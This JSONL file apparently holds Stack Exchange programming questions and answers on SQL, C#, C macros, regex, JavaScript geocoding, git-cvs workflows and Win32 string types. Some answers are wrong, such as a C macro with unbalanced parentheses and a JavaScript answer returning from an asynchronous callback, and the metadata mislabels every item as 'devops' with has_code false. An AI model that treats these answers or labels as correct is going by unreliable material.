{"id": "hf_d4efad3abd96", "question": "<p>I have two simple tables in my database. A \"card\" table that contains Id, Name, and text of a card, and a \"rulings\" table which contains the Id of the card, and text detailing the rulings for the card.</p>\n\n<p>Often enough in the ruling text, there is a reference to another card in the database. It is easy enough to find this in the text because each card is encapsulated within quotes in the text. It is not uncommon to have multiple cards referenced within the text of the ruling.</p>\n\n<p>What I'd like to do is be able to create a cross reference table (or procedure if it is efficient enough) so that when I submit a query for a card, I can find all the ruling records that directly reference the card through the Id and get all of the ruling records where the card name is referenced in the text.</p>\n\n<p>What would be the best way to approach this? My environment is SQL 2005, but any kind of \"DB agnostic\" solutions are greatly accepted here.</p>\n", "question_body": "", "answer": "I would recommend that you create another table that stores your references.  Then, create an insert and update trigger that maintains this table.  This way, you would have a faster query to return the data you are looking for.\nI recognize that initially populating this table might be a little difficult, which is why I am showing some sample data (and query) below, that you can use to get you started.\n```\n```\nDeclare @Card Table(Id Int, Name VarChar(20), CardText VarChar(8000))\n\nDeclare @Ruling Table(CardId Int, CardRuling VarChar(8000))\n\nInsert Into @Card Values(1, 'Card 1', 'This is the card ID = 1')\nInsert Into @Card Values(2, 'Card 2', 'This is the card id = 2.')\nInsert Into @Card Values(3, 'Card 3', 'This is the card id = 3.')\n\nInsert Into @Ruling Values(1, 'This is the ruling for 1 which references \"2\"')\nInsert Into @Ruling Values(2, 'This is the ruling for 2 which references nothing')\nInsert Into @Ruling Values(3, 'This is the ruling for 3 which references \"1\" and \"2\"')\n\nDeclare @CardId Int\nSet @CardId = 1\n\nSelect  * \nFrom    @Card As Card\n        Inner Join @Ruling As Ruling\n            On Card.Id = Ruling.CardId\n        Left Join @Card As CardReferences\n            On Ruling.CardRuling Like '%\"' + Convert(VarChar(10), CardReferences.Id) + '\"%'\n```\n```\nEDIT:\nThe reason I suggested another table is because you will likely be disappointed with the performance of this query, especially for large tables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.082419"}
{"id": "hf_3443ec8bd1a9", "question": "<p>I need to open a password protected shared folder on a network to gain access to an Access 97 database. How do I open the folder and pass in the password?</p>\n", "question_body": "", "answer": "one solution would be to map the network folder to an available drive letter. You could accomplish that using Windows OS commands:\n```\n```\nSystem.Diagnostics.Process.Start(\"net.exe\", \"use K: \\\\Server\\URI\\path\\here /USER:<username> <password>\" )\n```\n```\nSimply replace the username and password with the credentials you need and make sure the drive letter is available.\nTo disconnect you can call\n```\n```\nSystem.Diagnostics.Process.Start(\"net.exe\", \"use /delete K:\" )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.106543"}
{"id": "hf_7a40e9bc3ba1", "question": "<p>How do I make the computer's internal speaker beep in C# without external speakers?</p>\n", "question_body": "", "answer": "The solution would be,\n```\n```\nConsole.Beep\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.130532"}
{"id": "hf_ac03e864e87a", "question": "<p>I have used the smtp class to send emails through code. <br /></p>\n\n<p>Can I use the classes in the .net framework to display emails received on a page without having to use something like exchange sdk? <br /></p>\n\n<p>How would I go about using gmail pop and smtp server information in .net web apps (with the .net classes) to send and receive email? <br /></p>\n", "question_body": "", "answer": "Yes, it's possible. You'll probably find it easier to use one of the many third-party components which are available and encapsulate much of the logic you would otherwise need to develop.\nI like Chilkat's\nemail component\n. They provide\nan online example showing how to use their component to access a Gmail inbox via POP3\n.\nThey also have an\nIMAP component\nwhich you might find useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.170857"}
{"id": "hf_6a3f76227952", "question": "<p>I have a function that, among other things, takes in an object and a Type, and converts the object into that Type.  However, the input object is often a double, and the type some variation of int (uint, long, etc.).  I want this to work if a round number is passed in as a double (like 4.0), but to throw an exception if a decimal is passed in (4.3).  Is there any more elegant way to check if the Type is some sort of int?</p>\n\n<pre><code>if (inObject is double &amp;&amp; (targetType == typeof (int)\n                         || targetType == typeof (uint)\n                         || targetType == typeof (long)\n                         || targetType == typeof (ulong)\n                         || targetType == typeof (short)\n                         || targetType == typeof (ushort)))\n{\n    double input = (double) inObject;\n    if (Math.Truncate(input) != input)\n        throw new ArgumentException(\"Input was not an integer.\");\n}\n</code></pre>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This seems to do what you ask.  I have only tested it for doubles, floats and ints.\n```\n```\npublic int GetInt(IConvertible x)\n    {\n        int y = Convert.ToInt32(x);\n        if (Convert.ToDouble(x) != Convert.ToDouble(y))\n            throw new ArgumentException(\"Input was not an integer\");\n        return y;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.198656"}
{"id": "hf_a1ee70acefe4", "question": "<p>For example, never define a macro like this:</p>\n\n<pre><code>#define DANGER 60 + 2\n</code></pre>\n\n<p>This can potentially be dangerous when we do an operation like this:</p>\n\n<pre><code>int wrong_value = DANGER * 2; // Expecting 124\n</code></pre>\n\n<p>Instead, define like this because you don't know how the user of the macro may use it:</p>\n\n<pre><code>#define HARMLESS (60 + 2)\n</code></pre>\n\n<p>The example is trivial, but that pretty much explains my question. Are there any set of guidelines or best practices that you would recommend when writing a macro?</p>\n\n<p>Thanks for your time!</p>\n", "question_body": "", "answer": "In the expansion, put parenthesis around the arguments, so that if they pass in a expression you will get the intended behavior.\n```\n```\n#define LESS_THAN(X,Y) (((X) < (Y) ? (X) : (Y))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.234862"}
{"id": "hf_3f6146a48272", "question": "<p>I am trying to center a form in VB.net. Instead of centering the form, it ends up about halfway between center and 0,0(upper left). </p>\n\n<p>I am using the code</p>\n\n<p>Me.StartPosition = FormStartPosition.CenterScreen</p>\n\n<p>Which is called from the IntializeDisplay Method, which in turn is called from the Form Load method.</p>\n\n<p>I assume I'm setting some propertity along the way that messes up the center calculation, but I'm not sure what it could be.</p>\n\n<p>If anyone has any ideas they would be much appreciated.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Do you have any form resizing/positioning logic implemented? If so, comment it out and try again.\nTry setting the\n```\nForm.StartPosition\n```\nin the designer (which will set it in\n```\nInitializeComponent()\n```\n) instead of in the Load event.\nTry resetting the\n```\nForm.Location\n```\nand\n```\nForm.Size\n```\nvalue. If your form is localized, remove the\n```\nForm.Location\n```\nAND\n```\nForm.Size\n```\nentry in the resource file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.258936"}
{"id": "hf_30967721b59f", "question": "<p>I'm reading all the files in a single directory and I want to filter on JPG,JPEG,GIF and PNG.</p>\n\n<p>Both capital and small letters. Those are the only files to be accepted.</p>\n\n<p>I am currently using this:</p>\n\n<pre><code>$testPics = takeFiles($picsDir, \"([^\\s]+(?=\\.(jpg|JPG|jpeg|JPEG|png|PNG|gif|GIF))\\.\\2)\");\n</code></pre>\n\n<p>and the function takeFiles looks like this:</p>\n\n<pre><code>function takerFiles($dir, $rex=\"\") {\n    $dir .= \"/\";\n    $files = array();\n    $dp = opendir($dir);\n    while ($file = readdir($dp)) {\n      if ($file == '.')  continue;\n      if ($file == '..') continue;\n      if (is_dir($file)) continue;\n      if ($rex!=\"\" &amp;&amp; !preg_match($rex, $file)) continue;\n      $files[] = $file;\n    }\n    closedir($dp);\n    return $files;\n  }\n</code></pre>\n\n<p>And it always returns nothing. So something must be wrong with my regex code.</p>\n", "question_body": "", "answer": "I think something is wrong with your regex. Try testing regexes here first:\nhttps://www.regexpal.com/\nI think this one might work for you:\n```\n/^.*\\.(jpg|jpeg|png|gif)$/i\n```\nNote the /i at the end - this is the \"case insensitive\" flag, saves you having to type out all permutations :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.306636"}
{"id": "hf_a69ea50858f3", "question": "<p>I have the following code:</p>\n\n<pre><code>var address;\ngetAddress(0,0);\nfunction getAddress(latlng) \n{\n  if (latlng != null) \n  {\n    geocoder.getLocations(latlng, \n    function(addresses) \n    {\n      if(addresses.Status.code == 200) \n      { \n        address = addresses.Placemark[0].address.toString();\n        alert(address);  // Outputs something :)\n      }\n    });\n   }\n   return address;   //returns nothing :(\n}\n</code></pre>\n\n<p><code>address</code> always returns <code>undefined</code> but the alert does output something. Why is this?</p>\n\n<p>(Geocoder is an instance of <a href=\"http://code.google.com/apis/maps/documentation/reference.html#GClientGeocoder\" rel=\"nofollow noreferrer\">Google Maps APIs</a>)</p>\n", "question_body": "", "answer": "I think that your problems are all related to scope. Generally speaking, you don't want to rely on a global declaration of a variable to be used within the scope of a function.\nThis should correct any scope issues with your function:\n```\n```\nvar address = getAddress(0,0);\n\nfunction getAddress(latlng) {\n    if (latlng != null) {\n        var address = geocoder.getLocations(latlng, function(addresses) {\n            if(addresses.Status.code == 200) { \n                return addresses.Placemark[0].address.toString();\n            }\n        });\n    }\nreturn address;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.341972"}
{"id": "hf_88f8258a0240", "question": "<p>My team works on a project in cvs containing about 20,000 Java files.  Because of the number of files, it takes a while to do a cvs update.  I typically keep about 5 copies of the entire tree checked out, to make it easy to check in different requests without worrying about which files were modified for each.  It's a real pain to keep all 5 trees up to date and in sync with each other.</p>\n\n<p>I've read that it's fairly easy to use git locally with a remote cvs server, and that git is fast.  Will git significantly speed up the updating of my local trees?</p>\n\n<p>I realize the lower bound is the time to do one cvs update.  But I'm thinking that once the first tree is up to date, it might possible to quickly sync the other 4 with the first, rather than to do 4 more cvs update commands.  Do I understand git correctly?</p>\n", "question_body": "", "answer": "We do something similar at work.  We basically use the\n```\nmaster\n```\nbranch in git as a single, updated CVS version of the code; we don't do any development there, just CVS updates.  Then, all of our development projects happen on feature branches that we rebase.  When we do CVS updates on the\n```\nmaster\n```\nbranch we commit those changes to\n```\nmaster\n```\nand then rebase our other development branches against\n```\nmaster\n```\n.\nIt's not ideal -- it makes sharing branches with other people difficult.  But, we can manage several development projects at once and do branches, merges, and diffs against them easily.  And, we only interact with CVS on the one\n```\nmaster\n```\nbranch, as needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.439261"}
{"id": "hf_71b1e71300c9", "question": "<p>Is there a way to send an email from an iSeries terminal, adding an attachment from the IFS? I know how to send a normal email using the SNDDST utility.</p>\n", "question_body": "", "answer": "There is two main methods of doing this.\nThe Do-It-Yourselfer will use QtmmSendMail API\nOtherwise there are several other free and purchased products that you could use. The ones I would recommend are:\nMAILTOOL\n- Currently $399. Depending on what you are trying to do, I would recommend\nSplTool Suite\nif you want to email out spool files.\nRPGMail\n- Free API making use of JavaMail", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.488723"}
{"id": "hf_1048aad1c604", "question": "<p>I am trying to generate some code at runtime using the DynamicMethod class in the Reflection.Emit namespace but for some reason its throwing a \"VerificationException\". Here is the IL code I am trying to use...</p>\n\n<pre><code>ldarg.1\nldarg.0\nldfld, System.String FirstName\ncallvirt, Void Write(System.String)\nldarg.1\nldarg.0\nldfld, System.String LastName\ncallvirt, Void Write(System.String)\nldarg.1\nldarg.0\nldfld, Int32 Age\ncallvirt, Void Write(Int32)\nret\n</code></pre>\n\n<p>I need a way to debug the generated IL code. What options do I have? I am using VS2008 professional.</p>\n", "question_body": "", "answer": "Try using the\npeverify\ntool to check the IL. From MSDN:\npeverify.exe performs comprehensive\n  MSIL verification checks based on\n  dataflow analysis plus a list of\n  several hundred rules on valid\n  metadata. For detailed information on\n  the checks Peverify.exe performs, see\n  the \"Metadata Validation\n  Specification\" and the \"MSIL\n  Instruction Set Specification\" in the\n  Tools Developers Guide folder in the\n  .NET Framework SDK.\nYou'll need to save the generated code to disk as an assembly for this to be useful though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.526026"}
{"id": "hf_df1dd1fc46c8", "question": "<p>I am looking for a Visual Studio add-in that would analyze the text around the cursor position and navigate to the corresponding class definition.</p>\n\n<p>For example I have this XML file that is currently open:</p>\n\n<pre><code>&lt;object id=\"abc\" type=\"MyProject.Foo.Bar, MyProject\"/&gt;\n</code></pre>\n\n<p>If I put the cursor somewhere between the double quotes on the <em>type</em> attribute the add-in should obtain the string <em>\"MyProject.Foo.Bar, MyProject\"</em> and search for all projects and project references in the current solution for the given type and if it finds one, it should navigate to the class definition (or metadata if the source code is not available in the current solution).</p>\n\n<p>If such add-in doesn't exist I would greatly appreciate some pointers that could help me writing one.</p>\n", "question_body": "", "answer": "Well you could use the '\nCode Definition Window\n' that comes with the VS2008 IDE. When you place your cursor, the Code Def window dynamically updates with the source code for that type.\nWorks with regular source files.. don't have the IDE at hand to verify with XAML/XML\nAlso you could 'Jump to Symbol' key combo but you would need CodeRush Express add in for that. Shift+Ctrl+Q. More details\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.575574"}
{"id": "hf_3a13bfe00a93", "question": "<p>I would like to be able to fusion an <code>IEnumerable&lt;IEnumerable&lt;T&gt;&gt;</code> into <code>IEnumerable&lt;T&gt;</code> (i.e. merge all individual collections into one). The <code>Union</code> operators only applies to two collections. Any idea?</p>\n", "question_body": "", "answer": "Try\n```\n```\nvar it = GetTheNestedCase();\nreturn it.SelectMany(x => x);\n```\n```\nSelectMany is a LINQ transformation which essentially says \"For Each Item in a collection return the elements of a collection\".  It will turn one element into many (hence SelectMany).  It's great for breaking down collections of collections into a flat list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.600816"}
{"id": "hf_6959cbecb7d2", "question": "<p>I'd like to hide a div when user click anywhere on the page outside of that div. How can I do that using raw javascript or jQuery?</p>\n", "question_body": "", "answer": "First idea, in raw javascript (from\nthis post\n):\n```\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"  \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n  <head>\n    <title>Untitled Document</title>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n    <meta http-equiv=\"Content-Style-Type\" content=\"text/css\">\n    <meta http-equiv=\"Content-Script-Type\" content=\"text/javascript\">\n    <style type=\"text/css\">\n      <!--\n      #mydiv{\n        background-color: #999999;\n        height: 100px;\n        width: 100px;\n      }\n      -->\n    </style>\n    <script type=\"text/javascript\">\n      document.onclick=check;\n      function check(e)\n      {\n        var target = (e && e.target) || (event && event.srcElement);\n        var obj = document.getElementById('mydiv');\n        if(target!=obj){obj.style.display='none'}\n      }\n    </script>\n  </head>\n  <body>\n    <div id=\"mydiv\">my div</div>\n  </body>\n</html>\n```\n```\nTested with IE6 and FireFox3.1, it does work as advertised.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.625385"}
{"id": "hf_b1192569bae8", "question": "<p>I have a large legacy C++ project compiled under Visual Studio 2008.  I know there is a reasonably amount of 'dead' code that is not accessed anywhere -- methods that are not called, whole classes that are not used.</p>\n\n<p>I'm looking for a tool that will identify this by <strong>static analysis</strong>.</p>\n\n<p>This question: <a href=\"https://stackoverflow.com/questions/229069/dead-code-detection-in-legacy-cc-project\">Dead code detection in legacy C/C++ project</a> suggests using code coverage tools.  This isn't an option as the test coverage just isn't high enough.  </p>\n\n<p>It also mentions a  -Wunreachable-code. option to gcc. I'd like something similar for Visual Studio.  We already use the linker's /OPT:REF option to remove redundant code, but this doesn't report the dead code at a useful level (when used with /VERBOSE there are over 100,000 lines, including a lot from libraries).</p>\n\n<p>Are there any better options that work well with a Visual Studio project?</p>\n", "question_body": "", "answer": "You'll want something along the lines of QA-C++ (\nhttp://www.programmingresearch.com/QACPP_MAIN.html\n), also see\nhttp://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis\nfor similar products.\nYou're looking for a static code analysis tool that detects unreachable code; many coding guidelines (such as MISRA-C++, if I'm not mistaken) require that no unreachable code exists. An analysis tool geared specifically to enforce such a guideline would be your best bet.\nAnd you'll like be able to find other uses for the tool as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.650470"}
{"id": "hf_fc3d76498b91", "question": "<p>I want to add the current month, and the previous two months to a prompt, for a user to select. </p>\n\n<p>e.g. if this month is <code>2008 Nov</code>, <code>ddlbox</code> should show the following:</p>\n\n<pre><code>112008\n102008\n092008\n</code></pre>\n\n<p>How can I do this? </p>\n", "question_body": "", "answer": "```\n```\n<asp:DropDownList ID=\"DropDownList1\" runat=\"server\">\n</asp:DropDownList>\n\nfor (int i = 0; i < 3; i++)\n{\n    ListItem item = new ListItem(string.Format(\"{0: MM/yyyy}\", DateTime.Now.AddMonths(-i)));\n    DropDownList1.Items.Add(item);\n}\n```\n```\nTry this :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.698454"}
{"id": "hf_9f7bfd02992d", "question": "<p>My program receives large CSV files and transforms them to XML files. In order to have better performance I would like to split this files in smaller segments of (for example) 500 lines. What are the available Java libraries for splitting text files?</p>\n", "question_body": "", "answer": "What do you intend to do with those data ?\nIf it is just record by record processing then event oriented (SAX or StaX) parsing will be the way to go. For record by record processing, an existing \"pipeline\" toolkit may be applicable.\nYou can pre-process your file with a splitter function like\nthis one\nor\nthis Splitter.java\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.733861"}
{"id": "hf_502ed4e83633", "question": "<p>I have a structure which I create a custom constructor to initialize the members to 0's.  I've seen in older compilers that when in release mode, without doing a memset to 0, the values are not initialized.</p>\n\n<p>I now want to use this structure in a union, but get errors because it has a non-trivial constructor.</p>\n\n<p>So, question 1.  Does the default compiler implemented constructor guarantee that all members of a structure will be null initialized?  The non-trivial constructor just does a memset of all the members to '0' to ensure a clean structure.</p>\n\n<p>Question 2:  If a constructor must be specified on the base structure, how can a union be implemented to contain that element and ensure a 0 initialized base element?</p>\n", "question_body": "", "answer": "Can you do something like this?\n```\n```\nclass Outer\n{\npublic:\n    Outer()\n    {\n        memset(&inner_, 0, sizeof(inner_));\n    }\nprivate:\n    union Inner\n    {\n        int qty_;\n        double price_;\n    } inner_;\n};\n```\n```\n...or maybe something like this?\n```\n```\nunion MyUnion\n{\n    int qty_;\n    double price_;\n};\n\nvoid someFunction()\n{\n    MyUnion u = {0};\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.869555"}
{"id": "hf_9e5fa9977676", "question": "<p>I'm looking for a very specific USB device for debugging systems that may use USB but not with a regular computer (proprietary hardware). I want a device that has a USB host controller and two USB device connections. The device to be debugged is connected to the USB host controller and one of the device connections is connected to another device with it's own host controller on it. The the other device connection is connected to a pc. The point being that all USB data travelling through the device (from the device connected to the host controller to the device connected to the first device connection) is reported to the pc.</p>\n\n<p>I'll happily write software to do the logging (in fact I want to) but I can't seem to find a board like this anywhere. Can anyone help?</p>\n", "question_body": "", "answer": "Sniffing the USB shouldn't be too hard if you have the right hardware.  And that is the tricky question.  I haven't seen anything that describes the USB breakout box that you want.  However I can say that this is in the realm of the following two magazines:\nNuts and Volts\nCircuit Cellar\nIf they don't have a USB breakout box project in their archives, then at least they will have advertisements for small cheap single board computers that would have multiple USB ports that you can use for buffering the signals and reporting it back to your PC.\nAlternatively is it possible to just wire your PC up to the middle of your two devices and write a custom drive that echos data back and forth while sniffing off a stream for you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.907935"}
{"id": "hf_8db2e5386fa4", "question": "<p>Can we convert a hex string to a byte array using a built-in function in C# or do I have to make a custom method for this?</p>\n", "question_body": "", "answer": "Here's a nice fun LINQ example.\n```\n```\npublic static byte[] StringToByteArray(string hex) {\n    return Enumerable.Range(0, hex.Length)\n                     .Where(x => x % 2 == 0)\n                     .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))\n                     .ToArray();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.932497"}
{"id": "hf_ef8b69f61f31", "question": "<p>This only happens with IE (all versions), on line 1120 in\njquery-1.2.6.js I get the following error:</p>\n\n<pre><code>Line 1120:\nInvalid Property Value\n</code></pre>\n\n<p>The line in the js file is the following:</p>\n\n<pre><code>elem[name] = value;\n</code></pre>\n\n<p>It is inside attr: <code>function( elem, name, value )</code></p>\n\n<p>Does anybody have a problem similar to this? </p>\n", "question_body": "", "answer": "If\nthis\nis also you, it sounds like you're trying to change the CSS of the element rather than give it an attribute.\nIf that is the case then try this instead;\n```\n```\njQuery.css('color', 'inherit');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:44.999024"}
{"id": "hf_e1c07ae5f02d", "question": "<p>I am using cocos2d-iphone to place Sprites onto a Layer to setup a game playfield.  At certain points in the game, certain Sprites need to be removed based upon game conditions.  What I would like to do is setup an array of Sprite pointers, but I have two questions:</p>\n\n<p>What's the best way to place Sprite pointers in an array?  </p>\n\n<p>How does one remove the Sprite in cocos2d with only a pointer to the Sprite?  I know how to do it from its parent layer, but that is too runtime intensive for the main game loop.</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "The\n```\nSprite\n```\nclass inherits from\n```\nCocosNode\n```\n, so you should be able to call\n```\nspritePointer.parent.remove(spritePointer)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.024533"}
{"id": "hf_969420b53f64", "question": "<p>How would I go about adding the \"Spent Time\" as a column to be displayed in the issues list?</p>\n", "question_body": "", "answer": "Since no one answered, I just poked the source until it yielded results.  Then I started a blog to explain how I did it.\nAdd spent time column to default issues list in Redmine", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.065177"}
{"id": "hf_5faab6e894c0", "question": "<p>What the difference between <code>LPCSTR</code>, <code>LPCTSTR</code> and <code>LPTSTR</code>?</p>\n\n<p>Why do we need to do this to convert a string into a <code>LV</code> / <code>_ITEM</code> structure variable <code>pszText</code>:  </p>\n\n<pre><code>LV_DISPINFO dispinfo;  \ndispinfo.item.pszText = LPTSTR((LPCTSTR)string);\n</code></pre>\n", "question_body": "", "answer": "Quick and dirty:\n```\nLP\n```\n==\nL\nong\nP\nointer.  Just think pointer or char*\n```\nC\n```\n=\nC\nonst, in this case, I think they mean the character string is a const, not the pointer being const.\n```\nSTR\n```\nis\nstring\nthe\n```\nT\n```\nis for a wide character or char (TCHAR) depending on compiler options.\nBonus Reading\nFrom\nWhat does the letter \"T\" in LPTSTR stand for?\n:\narchive\nWhat does the letter \"T\" in LPTSTR stand for?\nOctober 17th, 2006\nThe “T” in LPTSTR comes from the “T” in TCHAR. I don’t know for certain, but it seems pretty likely that it stands for “text”. By comparison, the “W” in WCHAR probably comes from the C language standard, where it stands for “wide”.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.118901"}
{"id": "hf_39673b64a595", "question": "<p>I'm trying to set the initial display order of the column headers in a silverlight datagrid by changing the column header DisplayIndex values. If I try to set the column order at page load time, I get an out of range exception. If I set the column order (same routine) at a later time like, in a button click handler, it works. Is this just a bug in the silverlight datagrid control? Suggestions for a possible work around?</p>\n", "question_body": "", "answer": "I'm guessing that you've got a problem modifying the DisplayIndex of the columns in the DataGrid from the Page Loaded event as they haven't yet been created at this point. You don't say but I assume you're getting the DataGrid to AutoGenerate your columns as otherwise you could just set the DisplayIndex in your XAML when defining the DataGrid columns.\nWhen the DataGrid generates Columns it fires a AutoGeneratingColumn event for each Column allowing you to modify its properties. It's a little crude but one solution could be to set the DisplayIndex in a handler for this event using the PropertyName it is creating a column for.\n```\n```\nprivate void grid_AutoGeneratingColumn(object sender, DataGridAutoGeneratingColumnEventArgs e)\n{\n    switch (e.PropertyName)\n    {\n        case \"Name\":\n            e.Column.DisplayIndex = 1;\n            break;\n\n        case \"Age\":\n            e.Column.DisplayIndex = 0;\n            break;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.143938"}
{"id": "hf_bac01ab56cea", "question": "<p>Are there any libraries or guides for how to read and parse binary data in C?</p>\n\n<p>I am looking at some functionality that will receive TCP packets on a network socket and then parse that binary data according to a specification, turning the information into a more useable form by the code.</p>\n\n<p>Are there any libraries out there that do this, or even a primer on performing this type of thing?</p>\n", "question_body": "", "answer": "You don't really need to parse binary data in C, just cast some pointer to whatever you think it should be.\n```\n```\nstruct SomeDataFormat\n{\n    ....\n}\n\nSomeDataFormat* pParsedData = (SomeDataFormat*) pBuffer;\n```\n```\nJust be wary of endian issues, type sizes, reading off the end of buffers, etc etc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:45.181119"}
